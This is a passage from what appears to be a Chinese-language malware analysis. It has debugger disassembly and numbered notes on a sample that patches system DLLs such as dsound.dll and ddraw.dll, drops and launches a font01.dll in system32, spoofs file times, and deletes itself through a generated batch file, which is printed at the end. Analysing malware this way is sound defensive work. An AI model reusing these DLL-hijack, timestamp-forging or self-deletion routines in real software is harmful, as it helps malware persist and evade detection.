00401586 |. 52 push edx
00401587 |. 8D4C24 20 lea ecx, dword ptr [esp+20]
0040158B |. 50 push eax
0040158C |. 51 push ecx
0040158D |. 53 push ebx
0040158E |. FF15 68304000 call dword ptr [<&KERNEL32.SetFileTim>
00401594 |. 85C0 test eax, eax
00401596 |. 75 06 jnz short 0040159E
00401598 |. FF15 64304000 call dword ptr [<&KERNEL32.GetLastErr>
0040159E |> 8B35 00304000 mov esi, dword ptr [<&KERNEL32.Close>
004015A4 |. 53 push ebx
004015A5 |. FFD6 call esi
004015A7 |. 57 push edi
004015A8 |. FFD6 call esi
004015AA |. 5F pop edi
004015AB |. 5E pop esi
004015AC |. 5B pop ebx
004015AD |. 83C4 18 add esp, 18
004015B0 \. C3 retn
20.ddraw.dll的修改同dsound.dll.
21.comres.dll的修改同dsound.dll.
22.ksuser.dll的修改同dsound.dll.
23.olepro32.dll的修改同dsound.dll.
24.创建文件%windir%\system32\font01.dll00402A71 |. 51 push ecx
00402A72 |. FFD5 call ebp
00402A74 |. 8D9424 340800>lea edx, dword ptr [esp+834]
00402A7B |. 68 3C414000 push 0040413C
00402A80 |. 52 push edx
00402A81 |. FFD6 call esi
00402A83 |. 8D8424 340800>lea eax, dword ptr [esp+834]
00402A8A |. 50 push eax
00402A8B |. 6A 6E push 6E
00402A8D |. E8 6EE5FFFF call 00401000
25.加载%windir%\system32\font01.dll.00402AC2 |. 51 push ecx
00402AC3 |. AA stos byte ptr es:[edi]
00402AC4 |. FFD5 call ebp
00402AC6 |. 8D9424 280100>lea edx, dword ptr [esp+128]
00402ACD |. 68 2C414000 push 0040412C
00402AD2 |. 52 push edx
00402AD3 |. FFD6 call esi
00402AD5 |. B9 40000000 mov ecx, 40
00402ADA |. 33C0 xor eax, eax
00402ADC |. 8DBC24 310300>lea edi, dword ptr [esp+331]
00402AE3 |. 889C24 300300>mov byte ptr [esp+330], bl
00402AEA |. F3:AB rep stos dword ptr es:[edi]
00402AEC |. 66:AB stos word ptr es:[edi]
00402AEE |. AA stos byte ptr es:[edi]
00402AEF |. 8D8424 300300>lea eax, dword ptr [esp+330]
00402AF6 |. 68 04010000 push 104
00402AFB |. 50 push eax
00402AFC |. 53 push ebx
00402AFD |. FF15 2C304000 call dword ptr [<&KERNEL32.GetModuleF>
00402B03 |. B9 40000000 mov ecx, 40
00402B08 |. 33C0 xor eax, eax
00402B0A |. 8DBC24 2D0200>lea edi, dword ptr [esp+22D]
00402B11 |. 889C24 2C0200>mov byte ptr [esp+22C], bl
00402B18 |. F3:AB rep stos dword ptr es:[edi]
00402B1A |. 66:AB stos word ptr es:[edi]
00402B1C |. 68 24414000 push 00404124
00402B21 |. 8D8C24 380800>lea ecx, dword ptr [esp+838]
00402B28 |. 68 18414000 push 00404118
00402B2D |. 8D9424 300100>lea edx, dword ptr [esp+130]
00402B34 |. AA stos byte ptr es:[edi]
00402B35 |. 51 push ecx
00402B36 |. 52 push edx
00402B37 |. 8D8424 3C0200>lea eax, dword ptr [esp+23C]
00402B3E |. 68 04414000 push 00404104
00402B43 |. 50 push eax
00402B44 |. FF15 AC304000 call dword ptr [<&USER32.wsprintfA>]
00402B4A |. 83C4 18 add esp, 18
00402B4D |. 8D8C24 2C0200>lea ecx, dword ptr [esp+22C]
00402B54 |. 53 push ebx
00402B55 |. 51 push ecx
00402B56 |. FF15 84304000 call dword ptr [<&KERNEL32.WinExec>]
26.删除自身.00401230 /$ 81EC 580C0000 sub esp, 0C58
00401236 |. 53 push ebx
00401237 |. 8D8424 5C0400>lea eax, dword ptr [esp+45C]
0040123E |. 56 push esi
0040123F |. 50 push eax
00401240 |. 68 00040000 push 400
00401245 |. C74424 10 000>mov dword ptr [esp+10], 0
0040124D |. FF15 50304000 call dword ptr [<&KERNEL32.GetTempPat>
00401253 |. 8B35 4C304000 mov esi, dword ptr [<&KERNEL32.lstrc>
00401259 |. 8D8C24 600400>lea ecx, dword ptr [esp+460]
00401260 |. 68 38404000 push 00404038
00401265 |. 51 push ecx
00401266 |. FFD6 call esi
00401268 |. 8D9424 600400>lea edx, dword ptr [esp+460]
0040126F |. 52 push edx
00401270 |. FF15 48304000 call dword ptr [<&KERNEL32.DeleteFile>
00401276 |. 8B0D 90414000 mov ecx, dword ptr [404190]
0040127C |. 8D8424 600800>lea eax, dword ptr [esp+860]
00401283 |. 68 00040000 push 400
00401288 |. 50 push eax
00401289 |. 51 push ecx
0040128A |. FF15 2C304000 call dword ptr [<&KERNEL32.GetModuleF>
00401290 |. 6A 00 push 0
00401292 |. 6A 00 push 0
00401294 |. 6A 02 push 2
00401296 |. 6A 00 push 0
00401298 |. 6A 03 push 3
0040129A |. 8D9424 740400>lea edx, dword ptr [esp+474]
004012A1 |. 68 000000C0 push C0000000
004012A6 |. 52 push edx
004012A7 |. FF15 08304000 call dword ptr [<&KERNEL32.CreateFile>
004012AD |. 8BD8 mov ebx, eax
004012AF |. C74424 08 000>mov dword ptr [esp+8], 400
004012B7 |. 83FB FF cmp ebx, -1
004012BA |. 0F84 1F010000 je 004013DF
004012C0 |. 57 push edi
004012C1 |. B9 00010000 mov ecx, 100
004012C6 |. 33C0 xor eax, eax
004012C8 |. 8D7C24 64 lea edi, dword ptr [esp+64]
004012CC |. F3:AB rep stos dword ptr es:[edi]
004012CE |. 8D4424 64 lea eax, dword ptr [esp+64]
004012D2 |. 68 30404000 push 00404030
004012D7 |. 50 push eax
004012D8 |. FF15 44304000 call dword ptr [<&KERNEL32.lstrcpyA>]
004012DE |. 8D4C24 64 lea ecx, dword ptr [esp+64]
004012E2 |. 68 28404000 push 00404028
004012E7 |. 51 push ecx
004012E8 |. FFD6 call esi
004012EA |. 8D9424 640800>lea edx, dword ptr [esp+864]
004012F1 |. 8D4424 64 lea eax, dword ptr [esp+64]
004012F5 |. 52 push edx
004012F6 |. 50 push eax
004012F7 |. FFD6 call esi
004012F9 |. 8D4C24 64 lea ecx, dword ptr [esp+64]
004012FD |. 68 24404000 push 00404024
00401302 |. 51 push ecx
00401303 |. FFD6 call esi
00401305 |. 8D5424 64 lea edx, dword ptr [esp+64]
00401309 |. 68 18404000 push 00404018
0040130E |. 52 push edx
0040130F |. FFD6 call esi
00401311 |. 8D8424 640800>lea eax, dword ptr [esp+864]
00401318 |. 8D4C24 64 lea ecx, dword ptr [esp+64]
0040131C |. 50 push eax
0040131D |. 51 push ecx
0040131E |. FFD6 call esi
00401320 |. 8D5424 64 lea edx, dword ptr [esp+64]
00401324 |. 68 14404000 push 00404014
00401329 |. 52 push edx
0040132A |. FFD6 call esi
0040132C |. 8D4424 64 lea eax, dword ptr [esp+64]
00401330 |. 68 08404000 push 00404008
00401335 |. 50 push eax
00401336 |. FFD6 call esi
00401338 |. 8D4C24 64 lea ecx, dword ptr [esp+64]
0040133C |. 68 28404000 push 00404028
00401341 |. 51 push ecx
00401342 |. FFD6 call esi
00401344 |. 8D9424 640400>lea edx, dword ptr [esp+464]
0040134B |. 8D4424 64 lea eax, dword ptr [esp+64]
0040134F |. 52 push edx
00401350 |. 50 push eax
00401351 |. FFD6 call esi
00401353 |. 8D4C24 64 lea ecx, dword ptr [esp+64]
00401357 |. 68 24404000 push 00404024
0040135C |. 51 push ecx
0040135D |. FFD6 call esi
0040135F |. 8D5424 64 lea edx, dword ptr [esp+64]
00401363 |. 68 04404000 push 00404004
00401368 |. 52 push edx
00401369 |. FFD6 call esi
0040136B |. 8D4424 0C lea eax, dword ptr [esp+C]
0040136F |. 6A 00 push 0
00401371 |. 50 push eax
00401372 |. 8D4C24 6C lea ecx, dword ptr [esp+6C]
00401376 |. 68 00040000 push 400
0040137B |. 51 push ecx
0040137C |. 53 push ebx
0040137D |. FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
00401383 |. 8B35 00304000 mov esi, dword ptr [<&KERNEL32.Close>
00401389 |. 53 push ebx
0040138A |. FFD6 call esi
0040138C |. B9 11000000 mov ecx, 11
00401391 |. 33C0 xor eax, eax
00401393 |. 8D7C24 20 lea edi, dword ptr [esp+20]
00401397 |. 8D5424 10 lea edx, dword ptr [esp+10]
0040139B |. F3:AB rep stos dword ptr es:[edi]
0040139D |. 66:894424 50 mov word ptr [esp+50], ax
004013A2 |. 8D4424 20 lea eax, dword ptr [esp+20]
004013A6 |. 52 push edx
004013A7 |. 50 push eax
004013A8 |. 6A 00 push 0
004013AA |. 6A 00 push 0
004013AC |. 6A 40 push 40
004013AE |. C74424 60 010>mov dword ptr [esp+60], 1
004013B6 |. 6A 00 push 0
004013B8 |. 6A 00 push 0
004013BA |. 8D8C24 800400>lea ecx, dword ptr [esp+480]
004013C1 |. 6A 00 push 0
004013C3 |. 51 push ecx
004013C4 |. 6A 00 push 0
004013C6 |. FF15 40304000 call dword ptr [<&KERNEL32.CreateProc>
004013CC |. 85C0 test eax, eax
004013CE |. 5F pop edi
004013CF |. 74 0E je short 004013DF
004013D1 |. 8B5424 10 mov edx, dword ptr [esp+10]
004013D5 |. 52 push edx
004013D6 |. FFD6 call esi
004013D8 |. 8B4424 0C mov eax, dword ptr [esp+C]
004013DC |. 50 push eax
004013DD |. FFD6 call esi
004013DF |> 5E pop esi
004013E0 |. 5B pop ebx
004013E1 |. 81C4 580C0000 add esp, 0C58
004013E7 \. C3 retn
:try
del "C:\Documents and Settings\Administrator\桌面\temp\新建文件夹\virus.exe"
if exist "C:\Documents and Settings\Administrator\桌面\temp\新建文件夹\virus.exe" goto try
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wowhm01.bat"
cls
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